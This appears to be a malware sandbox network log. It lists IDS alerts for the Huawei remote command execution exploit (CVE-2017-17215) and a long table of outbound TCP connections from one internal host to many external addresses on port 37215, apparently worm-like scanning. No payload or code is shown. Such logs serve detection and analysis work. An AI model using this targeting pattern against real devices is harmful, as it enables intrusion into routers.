2024-09-25T14:15:25.050325+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51130	41.125.18.252	37215	TCP
2024-09-25T14:15:25.081602+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35528	41.107.59.132	37215	TCP
2024-09-25T14:15:25.267681+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46974	156.222.59.136	37215	TCP
2024-09-25T14:15:25.267837+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47068	197.169.168.225	37215	TCP
2024-09-25T14:15:25.269190+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56488	197.23.75.110	37215	TCP
2024-09-25T14:15:25.269536+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53546	156.231.54.8	37215	TCP
2024-09-25T14:15:25.271238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33568	197.208.11.10	37215	TCP
2024-09-25T14:15:25.271363+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40146	156.163.85.134	37215	TCP
2024-09-25T14:15:25.271512+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34774	41.212.54.80	37215	TCP
2024-09-25T14:15:25.273216+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56094	156.213.170.93	37215	TCP
2024-09-25T14:15:25.273440+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53278	156.186.112.26	37215	TCP
2024-09-25T14:15:25.282413+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56692	41.45.9.94	37215	TCP
2024-09-25T14:15:25.282928+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41354	197.154.12.87	37215	TCP
2024-09-25T14:15:25.283060+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38838	197.227.217.15	37215	TCP
2024-09-25T14:15:25.283302+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40122	156.123.17.166	37215	TCP
2024-09-25T14:15:25.283560+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41902	197.44.83.25	37215	TCP
2024-09-25T14:15:25.284856+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55224	156.213.21.196	37215	TCP
2024-09-25T14:15:25.286834+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46758	197.74.55.78	37215	TCP
2024-09-25T14:15:25.287179+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59622	197.153.159.240	37215	TCP
2024-09-25T14:15:26.448693+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58838	156.238.157.62	37215	TCP
2024-09-25T14:15:28.094982+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43462	197.148.253.92	37215	TCP
2024-09-25T14:15:28.094994+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58950	197.4.214.116	37215	TCP
2024-09-25T14:15:28.095164+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36838	197.248.109.100	37215	TCP
2024-09-25T14:15:28.095177+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41682	156.132.69.45	37215	TCP
2024-09-25T14:15:28.095273+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60224	41.119.252.61	37215	TCP
2024-09-25T14:15:28.095298+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56198	197.112.170.75	37215	TCP
2024-09-25T14:15:28.095321+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49336	156.27.122.64	37215	TCP
2024-09-25T14:15:28.095371+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59578	41.142.222.198	37215	TCP
2024-09-25T14:15:28.095414+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53796	197.170.116.10	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 14:14:08.492233038 CEST	63353	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:08.492290020 CEST	63353	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:08.492290020 CEST	63353	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:08.492304087 CEST	63353	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:08.492340088 CEST	63353	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:08.492340088 CEST	63353	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:08.492350101 CEST	63353	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:08.492353916 CEST	63353	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:08.492367029 CEST	63353	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:08.492367029 CEST	63353	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:08.492387056 CEST	63353	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:08.492405891 CEST	63353	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:08.492439032 CEST	63353	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:08.492681980 CEST	63353	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:08.492711067 CEST	63353	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:08.492711067 CEST	63353	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:08.492713928 CEST	63353	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:08.492724895 CEST	63353	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:08.492738962 CEST	63353	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:08.492738962 CEST	63353	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:08.492753029 CEST	63353	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:08.492760897 CEST	63353	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:08.492785931 CEST	63353	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:08.492832899 CEST	63353	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:08.492835999 CEST	63353	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:08.492849112 CEST	63353	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:08.492857933 CEST	63353	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:08.492894888 CEST	63353	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:08.492913008 CEST	63353	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:08.492913961 CEST	63353	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:08.492923975 CEST	63353	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:08.492950916 CEST	63353	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:08.492957115 CEST	63353	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:08.492971897 CEST	63353	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:08.492985010 CEST	63353	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:08.492985010 CEST	63353	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:08.493024111 CEST	63353	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:08.493032932 CEST	63353	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:08.493036032 CEST	63353	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:08.493050098 CEST	63353	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:08.493066072 CEST	63353	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:08.493086100 CEST	63353	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:08.493086100 CEST	63353	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:08.493088007 CEST	63353	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:08.493088007 CEST	63353	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:08.493102074 CEST	63353	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:08.493105888 CEST	63353	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:08.493109941 CEST	63353	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:08.493120909 CEST	63353	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:08.493124008 CEST	63353	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:08.493127108 CEST	63353	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:08.493136883 CEST	63353	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:08.493145943 CEST	63353	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:08.493149042 CEST	63353	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:08.493163109 CEST	63353	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:08.493164062 CEST	63353	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:08.493180990 CEST	63353	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:08.493190050 CEST	63353	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:08.493191004 CEST	63353	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:08.493201017 CEST	63353	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:08.493210077 CEST	63353	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:08.493210077 CEST	63353	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:08.493220091 CEST	63353	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:08.493220091 CEST	63353	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:08.493235111 CEST	63353	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:08.493235111 CEST	63353	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:08.493242025 CEST	63353	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:08.493244886 CEST	63353	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:08.493263960 CEST	63353	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:08.493267059 CEST	63353	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:08.493271112 CEST	63353	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:08.493278027 CEST	63353	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:08.493278027 CEST	63353	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:08.493284941 CEST	63353	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:08.493294001 CEST	63353	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:08.493295908 CEST	63353	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:08.493309975 CEST	63353	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:08.493309975 CEST	63353	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:08.493324041 CEST	63353	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:08.493324995 CEST	63353	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:08.493340015 CEST	63353	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:08.493341923 CEST	63353	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:08.493341923 CEST	63353	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:08.493345022 CEST	63353	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:08.493349075 CEST	63353	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:08.493367910 CEST	63353	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:08.493369102 CEST	63353	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:08.493370056 CEST	63353	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:08.493386984 CEST	63353	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:08.493392944 CEST	63353	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:08.493438005 CEST	63353	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:08.493438959 CEST	63353	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:08.493446112 CEST	63353	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:08.493457079 CEST	63353	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:08.493486881 CEST	63353	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:08.493491888 CEST	63353	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:08.493505001 CEST	63353	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:08.493519068 CEST	63353	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:08.493524075 CEST	63353	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:08.493534088 CEST	63353	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:08.493536949 CEST	63353	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:08.493536949 CEST	63353	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:08.493549109 CEST	63353	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:08.493550062 CEST	63353	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:08.493555069 CEST	63353	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:08.493571997 CEST	63353	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:08.493572950 CEST	63353	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:08.493572950 CEST	63353	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:08.493577003 CEST	63353	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:08.493587017 CEST	63353	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:08.493588924 CEST	63353	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:08.493608952 CEST	63353	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:08.493613005 CEST	63353	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:08.493613005 CEST	63353	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:08.493623018 CEST	63353	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:08.493623018 CEST	63353	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:08.493637085 CEST	63353	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:08.493638039 CEST	63353	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:08.493643045 CEST	63353	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:08.493654966 CEST	63353	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:08.493654966 CEST	63353	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:08.493655920 CEST	63353	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:08.493674040 CEST	63353	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:08.493674040 CEST	63353	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:08.493675947 CEST	63353	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:08.493684053 CEST	63353	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:08.493685007 CEST	63353	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:08.493686914 CEST	63353	37215	192.168.2.14	156.220.208.118
Sep 25, 2024 14:14:08.493701935 CEST	63353	37215	192.168.2.14	156.4.71.224
Sep 25, 2024 14:14:08.493710995 CEST	63353	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:08.493719101 CEST	63353	37215	192.168.2.14	197.185.219.45
Sep 25, 2024 14:14:08.493726969 CEST	63353	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:08.493727922 CEST	63353	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:08.493737936 CEST	63353	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:08.493748903 CEST	63353	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:08.493748903 CEST	63353	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:08.493762970 CEST	63353	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:08.493769884 CEST	63353	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:08.493781090 CEST	63353	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:08.493781090 CEST	63353	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:08.493781090 CEST	63353	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:08.493786097 CEST	63353	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:08.493786097 CEST	63353	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:08.493799925 CEST	63353	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:08.493803978 CEST	63353	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:08.493813992 CEST	63353	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:08.493829012 CEST	63353	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:08.493829012 CEST	63353	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:08.493851900 CEST	63353	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:08.493851900 CEST	63353	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:08.493851900 CEST	63353	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:08.493859053 CEST	63353	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:08.493864059 CEST	63353	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:08.493871927 CEST	63353	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:08.493879080 CEST	63353	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:08.493911028 CEST	63353	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:08.493922949 CEST	63353	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:08.493931055 CEST	63353	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:08.493949890 CEST	63353	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:08.494112968 CEST	63353	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:08.497260094 CEST	37215	63353	197.137.197.243	192.168.2.14
Sep 25, 2024 14:14:08.497275114 CEST	37215	63353	197.150.60.243	192.168.2.14
Sep 25, 2024 14:14:08.497284889 CEST	37215	63353	156.129.215.226	192.168.2.14
Sep 25, 2024 14:14:08.497292042 CEST	37215	63353	197.62.234.103	192.168.2.14
Sep 25, 2024 14:14:08.497318029 CEST	37215	63353	41.204.214.55	192.168.2.14
Sep 25, 2024 14:14:08.497325897 CEST	63353	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:08.497328997 CEST	37215	63353	197.4.255.13	192.168.2.14
Sep 25, 2024 14:14:08.497325897 CEST	63353	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:08.497338057 CEST	63353	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:08.497339964 CEST	37215	63353	156.182.203.125	192.168.2.14
Sep 25, 2024 14:14:08.497353077 CEST	63353	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:08.497353077 CEST	63353	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:08.497355938 CEST	37215	63353	197.172.82.145	192.168.2.14
Sep 25, 2024 14:14:08.497361898 CEST	63353	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:08.497368097 CEST	37215	63353	197.22.8.23	192.168.2.14
Sep 25, 2024 14:14:08.497369051 CEST	63353	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:08.497386932 CEST	37215	63353	156.5.157.97	192.168.2.14
Sep 25, 2024 14:14:08.497390032 CEST	63353	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:08.497390032 CEST	63353	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:08.497397900 CEST	37215	63353	41.161.47.162	192.168.2.14
Sep 25, 2024 14:14:08.497411013 CEST	37215	63353	197.213.83.147	192.168.2.14
Sep 25, 2024 14:14:08.497421026 CEST	37215	63353	41.236.198.95	192.168.2.14
Sep 25, 2024 14:14:08.497430086 CEST	63353	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:08.497441053 CEST	63353	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:08.497453928 CEST	63353	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:08.497453928 CEST	63353	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:08.497589111 CEST	37215	63353	197.232.113.246	192.168.2.14
Sep 25, 2024 14:14:08.497600079 CEST	37215	63353	41.17.167.241	192.168.2.14
Sep 25, 2024 14:14:08.497610092 CEST	37215	63353	156.231.211.64	192.168.2.14
Sep 25, 2024 14:14:08.497620106 CEST	37215	63353	156.43.122.92	192.168.2.14
Sep 25, 2024 14:14:08.497628927 CEST	37215	63353	197.117.239.45	192.168.2.14
Sep 25, 2024 14:14:08.497639894 CEST	37215	63353	197.211.194.206	192.168.2.14
Sep 25, 2024 14:14:08.497642994 CEST	63353	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:08.497649908 CEST	37215	63353	41.224.51.184	192.168.2.14
Sep 25, 2024 14:14:08.497659922 CEST	63353	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:08.497659922 CEST	63353	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:08.497663021 CEST	63353	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:08.497679949 CEST	63353	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:08.497730970 CEST	63353	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:08.497735023 CEST	63353	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:08.497747898 CEST	37215	63353	197.78.160.104	192.168.2.14
Sep 25, 2024 14:14:08.497759104 CEST	37215	63353	41.186.58.182	192.168.2.14
Sep 25, 2024 14:14:08.497769117 CEST	37215	63353	156.10.102.1	192.168.2.14
Sep 25, 2024 14:14:08.497780085 CEST	37215	63353	41.7.172.29	192.168.2.14
Sep 25, 2024 14:14:08.497790098 CEST	37215	63353	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:08.497796059 CEST	63353	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:08.497797012 CEST	63353	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:08.497801065 CEST	37215	63353	41.35.202.34	192.168.2.14
Sep 25, 2024 14:14:08.497812033 CEST	37215	63353	41.117.220.87	192.168.2.14
Sep 25, 2024 14:14:08.497817993 CEST	63353	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:08.497817993 CEST	63353	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:08.497828007 CEST	63353	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:08.497833967 CEST	63353	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:08.497870922 CEST	63353	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:08.497953892 CEST	37215	63353	197.44.240.204	192.168.2.14
Sep 25, 2024 14:14:08.497966051 CEST	37215	63353	197.122.68.154	192.168.2.14
Sep 25, 2024 14:14:08.497977018 CEST	37215	63353	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:08.497980118 CEST	63353	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:08.497996092 CEST	37215	63353	41.205.14.22	192.168.2.14
Sep 25, 2024 14:14:08.498006105 CEST	37215	63353	156.165.196.119	192.168.2.14
Sep 25, 2024 14:14:08.498009920 CEST	63353	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:08.498016119 CEST	37215	63353	156.76.35.164	192.168.2.14
Sep 25, 2024 14:14:08.498027086 CEST	63353	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:08.498028994 CEST	37215	63353	156.24.206.200	192.168.2.14
Sep 25, 2024 14:14:08.498034954 CEST	63353	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:08.498040915 CEST	37215	63353	41.114.20.185	192.168.2.14
Sep 25, 2024 14:14:08.498051882 CEST	37215	63353	156.218.179.250	192.168.2.14
Sep 25, 2024 14:14:08.498053074 CEST	63353	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:08.498053074 CEST	63353	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:08.498056889 CEST	63353	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:08.498084068 CEST	63353	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:08.498084068 CEST	63353	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:08.498280048 CEST	37215	63353	197.136.135.76	192.168.2.14
Sep 25, 2024 14:14:08.498290062 CEST	37215	63353	197.53.139.110	192.168.2.14
Sep 25, 2024 14:14:08.498302937 CEST	37215	63353	197.86.207.86	192.168.2.14
Sep 25, 2024 14:14:08.498312950 CEST	63353	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:08.498313904 CEST	37215	63353	197.193.248.155	192.168.2.14
Sep 25, 2024 14:14:08.498326063 CEST	37215	63353	156.36.9.56	192.168.2.14
Sep 25, 2024 14:14:08.498336077 CEST	37215	63353	41.24.178.92	192.168.2.14
Sep 25, 2024 14:14:08.498347044 CEST	37215	63353	156.250.70.236	192.168.2.14
Sep 25, 2024 14:14:08.498356104 CEST	37215	63353	41.20.204.217	192.168.2.14
Sep 25, 2024 14:14:08.498367071 CEST	37215	63353	197.239.226.40	192.168.2.14
Sep 25, 2024 14:14:08.498367071 CEST	63353	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:08.498378992 CEST	37215	63353	41.85.169.189	192.168.2.14
Sep 25, 2024 14:14:08.498389006 CEST	63353	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:08.498398066 CEST	63353	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:08.498403072 CEST	63353	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:08.498403072 CEST	63353	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:08.498408079 CEST	63353	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:08.498408079 CEST	63353	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:08.498414040 CEST	63353	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:08.498435974 CEST	63353	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:08.502315998 CEST	37215	63353	41.0.127.129	192.168.2.14
Sep 25, 2024 14:14:08.502331018 CEST	37215	63353	41.185.117.166	192.168.2.14
Sep 25, 2024 14:14:08.502342939 CEST	37215	63353	156.243.133.195	192.168.2.14
Sep 25, 2024 14:14:08.502352953 CEST	37215	63353	41.253.163.98	192.168.2.14
Sep 25, 2024 14:14:08.502362967 CEST	37215	63353	156.37.55.251	192.168.2.14
Sep 25, 2024 14:14:08.502372980 CEST	37215	63353	197.108.73.223	192.168.2.14
Sep 25, 2024 14:14:08.502382994 CEST	37215	63353	41.83.106.232	192.168.2.14
Sep 25, 2024 14:14:08.502393007 CEST	37215	63353	197.102.48.75	192.168.2.14
Sep 25, 2024 14:14:08.502413034 CEST	37215	63353	41.138.112.209	192.168.2.14
Sep 25, 2024 14:14:08.502423048 CEST	37215	63353	156.122.208.214	192.168.2.14
Sep 25, 2024 14:14:08.502433062 CEST	37215	63353	41.96.165.212	192.168.2.14
Sep 25, 2024 14:14:08.502449036 CEST	37215	63353	197.10.32.113	192.168.2.14
Sep 25, 2024 14:14:08.502460003 CEST	37215	63353	197.226.156.116	192.168.2.14
Sep 25, 2024 14:14:08.502461910 CEST	63353	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:08.502470970 CEST	37215	63353	156.142.59.249	192.168.2.14
